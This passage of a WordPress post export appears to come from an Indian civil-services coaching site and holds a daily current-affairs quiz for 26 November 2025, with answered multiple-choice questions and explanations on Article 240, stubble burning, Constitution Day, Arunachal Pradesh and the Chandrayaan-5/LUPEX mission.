{"id":2787,"date":"2025-11-27T03:53:13","date_gmt":"2025-11-27T03:53:13","guid":{"rendered":"https:\/\/iasquest.com\/?p=2787"},"modified":"2026-02-11T18:46:33","modified_gmt":"2026-02-11T18:46:33","slug":"daily-current-affairs-26-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-26-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 26.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements with respect to Article 240 of the Indian constitution:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">I. Article 240 empowers the President of India to make regulations for certain Union Territories.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">II. The regulations made under this article have the same force as Acts of Parliament.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">III. The Article applies to Union Territories with a Legislative Assembly.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">IV. Recently, Chandigarh was brought under the purview of this Article.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Select the correct answer using the code given below.&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) I and II&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) I, II and IV\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) I and IV\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (a) I and II&nbsp;&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> What will it mean for Chandigarh if it is brought under Article 240?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Article 240:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>Article 240 empowers the President of India to make regulations for certain Union Territories. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>These regulations have the same force as Acts of Parliament. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>The Article applies to Union Territories that do not have a Legislative Assembly. <strong>Hence statement III is incorrect.<\/strong><\/li>\n\n\n\n<li>Currently, Article 240 covers UTs such as Andaman &amp; Nicobar Islands, Lakshadweep, Dadra &amp; Nagar Haveli and Daman &amp; Diu, and Ladakh.<\/li>\n\n\n\n<li>Before gaining a legislature in 1987, Goa, Daman &amp; Diu and Puducherry were also under Article 240.<\/li>\n\n\n\n<li>Regulations made under Article 240 may amend or repeal any existing law applicable to that UT.<\/li>\n\n\n\n<li>Article 240(2) states that any regulation made by the President is to be laid before Parliament, but Parliament cannot modify it like a regular Bill.<\/li>\n\n\n\n<li>These Presidential regulations become necessary where Parliament is not in session or where urgent administrative changes are required in a UT.<\/li>\n\n\n\n<li>Chandigarh is currently not under Article 240, as it is placed under Article 239 and administered by an Administrator (Punjab Governor). <strong>Hence statement IV is incorrect.<\/strong><\/li>\n\n\n\n<li>Bringing Chandigarh under Article 240 would allow the Central Government to directly issue regulations for its governance.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. If the President of India exercises his power as provided under Article 356 of the Constitution in respect of a particular State, then<\/strong> <br><br>(a) the Assembly of the State is automatically dissolved. <br><strong>(b) the powers of the Legislature of that State shall be exercisable by or under the authority of the Parliament.<\/strong> <br>(c) Article 19 is suspended in that State. <br>(d) the President can make laws relating to that State.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-16 wp-block-paragraph\" style=\"color:#012ef8\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/chandigarh-article-240-10382099\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/chandigarh-article-240-10382099\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Statement-I: <\/strong>Madhya Pradesh has recorded the highest number of farm stubble burning incidents in the country for the second consecutive year.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Statement-II: <\/strong>Many farmers have switched from traditional crops like soybean and black gram to paddy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(c) Statement-I is correct, but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(d) Statement-I is incorrect, but Statement II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>In NEWS: <\/strong>Madhya Pradesh leads in farm stubble burning for second year; Uttar Pradesh and Punjab follow<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>Madhya Pradesh (MP) has become the leading state in India for farm stubble-burning for the second year in a row.<\/li>\n\n\n\n<li>According to data from CREAMS (the Consortium for Research on Agroecosystem Monitoring and Modelling from Space, at IARI), about 14,165 out of ~28,529 crop-residue burning incidents recorded this season (across six states) happened in Madhya Pradesh \u2014 nearly half of the total.<\/li>\n\n\n\n<li>Among 10 worst-affected districts nationwide, 7 are in Madhya Pradesh; topping the list again is Sheopur district.<\/li>\n\n\n\n<li>Other states like Uttar Pradesh (UP) and Rajasthan have seen marked increases, while traditional hotspots like Punjab and Haryana have seen a substantial drop in stubble-burning incidents.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>What\u2019s driving this shift toward Madhya Pradesh<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-30\">\n<li>In districts such as Sheopur, there has been a significant increase in paddy cultivation in recent years; many farmers switched from traditional crops (like soybean, black gram) to paddy.<\/li>\n\n\n\n<li>Factors such as good monsoon rainfall, improved groundwater availability, and reliable electricity\/pumping for irrigation have made paddy cultivation more viable \u2014 which in turn has increased the amount of paddy straw to manage post-harvest.<\/li>\n\n\n\n<li>As paddy area increases, so does the crop residue \u2014 and possibly lack of enough crop-residue management infrastructure or incentives may be contributing to burning becoming the easiest disposal method.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Hence both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Consider the following statements :<\/strong> <br><strong>Statement-I: <\/strong>Many chewing gums found in the market are considered a source of environmental pollution. <br><strong>Statement-II:<\/strong> Many chewing gums contain plastic as gum base. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br><strong>(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong> <br>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I <br>(c) Statement-I is correct, but Statement-II is incorrect <br>(d) Statement-I is incorrect, but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-32 wp-block-paragraph\" style=\"color:#0126f7\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/air\/madhya-pradesh-leads-in-farm-stubble-burning-for-second-year-uttar-pradesh-and-punjab-follow\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/air\/madhya-pradesh-leads-in-farm-stubble-burning-for-second-year-uttar-pradesh-and-punjab-follow<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>3. Consider the following statements with respect to the constitution of India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">I. The constitution came into force on 26 January 1950, honouring the Purna Swaraj Declaration.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">II. The Constitution was signed by 284 members on 24 January 1950 and Dr. Rajendra Prasad was the first to sign.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">III. Originally, the Constitution of India was adopted in only two languages.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Which of the statements given above are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(a) I and Il only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(c) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Answer: (d) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li>On 26 November 2025 (Constitution Day), Droupadi Murmu released a digital version of the Constitution of India in nine Indian languages.<\/li>\n\n\n\n<li>The nine languages are: Malayalam, Marathi, Nepali, Punjabi, Bodo, Kashmiri, Telugu, Odia, and Assamese.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Enactment &amp; Adoption of the Constitution:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Drafting timeline<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-48\">\n<li>The Constitution was drafted between December 1946 \u2013 November 1949.<\/li>\n\n\n\n<li>The Constituent Assembly held 11 sessions over 2 years, 11 months, 18 days.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Date of enactment<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li>The Constitution was adopted on 26 November 1949<\/li>\n\n\n\n<li>This is why we celebrate Constitution Day \/ Samvidhan Divas.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Date of commencement<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-52\">\n<li>It came into force on 26 January 1950<\/li>\n\n\n\n<li>chosen to honour the Purna Swaraj Declaration (1930). <strong>Hence statement I is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Partial commencement<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>On 26 November 1949, only the following provisions came into effect:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-55\">\n<li>Citizenship (Part II)<\/li>\n\n\n\n<li>Elections (Part XV)<\/li>\n\n\n\n<li>Provisional Parliament (Art. 379\u2013391)<\/li>\n\n\n\n<li>Temporary &amp; transitional provisions<\/li>\n\n\n\n<li>Article 394<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Final commencement<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>The rest of the Constitution came into force on 26 January 1950.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Constituent Assembly<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Formation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-60\">\n<li>Formed under the Cabinet Mission Plan (1946).<\/li>\n\n\n\n<li>Total seats originally: 389, reduced to 299 after Partition.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Composition<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>Members elected by Provincial Assemblies.<\/li>\n\n\n\n<li>Princely states nominated their members.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Key office bearers<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>Dr. Rajendra Prasad \u2013 President of the Constituent Assembly.<\/li>\n\n\n\n<li>Dr. B.R. Ambedkar \u2013 Chairman, Drafting Committee.<\/li>\n\n\n\n<li>B.N. Rau \u2013 Constitutional Adviser.<\/li>\n\n\n\n<li>HC Mookerjee \u2013 Vice-President of the Assembly.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Drafting Facts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>Draft Constitution was presented on 4 November 1948.<\/li>\n\n\n\n<li>The Constituent Assembly debated for 114 days (of total 165 sitting days).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Final document contained:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>395 Articles, 22 Parts, 8 Schedules.<\/li>\n\n\n\n<li>(Now expanded to 470+ Articles and 12 Schedules.)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Adoption Ceremony<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li>The Constitution was signed by 284 members on 24 January 1950.<\/li>\n\n\n\n<li>Dr. Rajendra Prasad was the first to sign. Hence statement II is correct.<\/li>\n\n\n\n<li>The Constituent Assembly held its last session on 24 January 1950.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Enforcement &amp; Birth of Republic<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-72\">\n<li>India became a Republic on 26 January 1950.<\/li>\n\n\n\n<li>Dr. Rajendra Prasad became the first President of India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Language:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-74\">\n<li>Originally, the Constitution of India was adopted in only TWO languages:<ul><li>English<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Hindi <strong>Hence statement III is correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Over time, the Government of India translated the Constitution into all 22 Scheduled Languages for wider accessibility.<\/li>\n\n\n\n<li>English remains the authoritative legal text under the Authoritative Texts (Central Laws) Act, 1973.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements in respect of the Constitution Day:<\/strong> <br><br><strong>Statement-I<\/strong>: The Constitution Day is celebrated on 26th November every year to promote constitutional values among citizens. <br><strong>Statement-II:<\/strong> On 26th November, 1949, the Constituent Assembly of India set up a Drafting Committee under the Chairmanship of Dr. B.R. Ambedkar to prepare a Draft Constitution of India. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I <br>(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I <br><strong>(c) Statement-I is correct but Statement-II is incorrect<\/strong> <br>(d) Statement-I is incorrect but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-75 wp-block-paragraph\" style=\"color:#0227f8\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/india\/president-droupadi-murmu-digital-constitution-9-languages-10386874\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/india\/president-droupadi-murmu-digital-constitution-9-languages-10386874\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>4. With reference to Indian polity, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">1. The McMahon Line forms the boundary between Arunachal Pradesh and Tibet as a territorial separation.\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">2. The constitution of India provides special responsibility to the Governor regarding law and order in the administration of Arunachal Pradesh.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">3. Arunachal Pradesh became a full-fledged State through the 22nd constitutional\u00a0 amendment in 1986.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>In NEWS:<\/strong> Arunachal Pradesh is an integral and inalienable part of India: MEA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Arunachal Pradesh as an Integral Part of India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>1. Constitutional Status<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li><strong>Article 1<\/strong>: India is a \u201cUnion of States\u201d; Arunachal Pradesh is one of the States of the Union.<\/li>\n\n\n\n<li><strong>Article 3<\/strong>: Parliament has exclusive power to form new States or alter boundaries\u2014basis for its creation.<\/li>\n\n\n\n<li><strong>Article 371H<\/strong>: Provides special provisions for Arunachal Pradesh giving <strong>Governor special responsibility for law &amp; order<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Listed in the <strong>First Schedule<\/strong> of the Constitution as a State (since 1987).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>2. Historical-Administrative Background<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(a) British Period<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>The region under the <strong>North-East Frontier Tracts (NEFT)<\/strong>; later <strong>North-East Frontier Agency (NEFA)<\/strong>.<\/li>\n\n\n\n<li><strong>McMahon Line (1914)<\/strong>: Boundary between British India &amp; Tibet, accepted by India; China disputes it. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(b) Post-Independence<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>NEFA is administered by the Governor of Assam under the External Affairs Ministry.<\/li>\n\n\n\n<li>1962: Sino-Indian War &#8211; strategic sensitivity.<\/li>\n\n\n\n<li>1972: NEFA renamed Union Territory: Arunachal Pradesh.<\/li>\n\n\n\n<li>1987: The Constitution (55th Amendment) Act, 1986 inserted Article 371H into the Constitution to provide special provisions for Arunachal Pradesh.<\/li>\n\n\n\n<li>It was passed alongside the State of Arunachal Pradesh Act, 1986 to prepare the region for full statehood (which happened on 20 February 1987). <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>3. Legal and International Position<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">India\u2019s Claim<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-98\">\n<li>Based on legal, historical, and administrative continuity.<\/li>\n\n\n\n<li>McMahon Line is India\u2019s lawful boundary; recognized in international agreements (Simla Convention 1914, though not by China).<\/li>\n\n\n\n<li>Effective administrative control by India for decades (de facto and de jure sovereignty).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>China\u2019s Position<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li>Calls Arunachal \u201cSouth Tibet\u201d; opposes visits by Indian leaders.<\/li>\n\n\n\n<li>Claims areas like <strong>Tawang<\/strong> due to Tibetan Buddhist links.<\/li>\n\n\n\n<li>India rejects this as <strong>untenable and historically inaccurate<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q.<\/strong> <strong>Consider the following pairs:\u00a0\u00a0<\/strong> <strong>\u00a0<\/strong> <br><strong>State<\/strong>\u00a0 &#8211; <strong>Description<\/strong>\u00a0 <br>Arunachal Pradesh\u00a0&#8211; The capital is named after a fort, and the State has two National Parks\u00a0 <br>Nagaland\u00a0&#8211; The State came into existence on the basis of a Constitutional Amendment Act\u00a0 <br>Tripura\u00a0&#8211; Initially a Part &#8216;C&#8217; State, it became a centrally administered territory in 1956, and later attained full statehood\u00a0 <br><br><strong>How many of the above pairs are correctly matched?\u00a0<\/strong> <br><br>(a) Only one\u00a0 <br>(b) Only two\u00a0 <br><strong>(c) All the three\u00a0<\/strong> <br>(d) None\u00a0\u00a0\u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-101 wp-block-paragraph\" style=\"color:#0015f7\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/india-reaffirms-arunachal-as-integral-part-mea-protests-chinas-detention-of-indian-passenger-calls-action-a-violation-of-travel-norms\/#:~:text=34%20PM%20%7C%20Arunachal-,India%20reaffirms%20Arunachal%20as%20integral%20part%3B%20MEA%20protests%20China&#039;s%20detention,to%20change%20this%20indisputable%20reality\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/india-reaffirms-arunachal-as-integral-part-mea-protests-chinas-detention-of-indian-passenger-calls-action-a-violation-of-travel-norms\/#:~:text=34%20PM%20%7C%20Arunachal-,India%20reaffirms%20Arunachal%20as%20integral%20part%3B%20MEA%20protests%20China&#8217;s%20detention,to%20change%20this%20indisputable%20reality<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>5. With reference to the Chandrayaan-5 \/ LUPEX mission, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">1. It is a joint lunar mission of India and Japan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">2. The mission aims to detect and quantify water-ice and other volatiles in the lunar south pole region.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">3. The rover for the mission is being developed by ISRO.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>In NEWS: <\/strong>Japanese delegation visits ISRO to review status of Chandrayaan-5\/LuPEX mission<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Chandrayaan-5:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-115\">\n<li>Chandrayaan-5, also known as LUPEX (Lunar Polar Exploration Mission), is a joint lunar mission by ISRO (India) and JAXA (Japan). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The mission aims to land near the Moon\u2019s south pole and explore permanently shadowed regions (PSRs).<\/li>\n\n\n\n<li>India will provide the lander, and Japan will provide the rover and launch vehicle (H3 rocket). <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>It will provide the first deep drilling and in-situ volatile analysis in the lunar south pole.<\/li>\n\n\n\n<li>Data from LUPEX may confirm the presence and depth of water-ice deposits, crucial for future lunar exploration.<\/li>\n\n\n\n<li>It will expand scientific understanding of polar geology, thermal cycles, and volatile migration on the Moon.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Mission Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-117\">\n<li>To detect and quantify water-ice and other volatiles in the lunar south pole. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>To drill the lunar surface up to 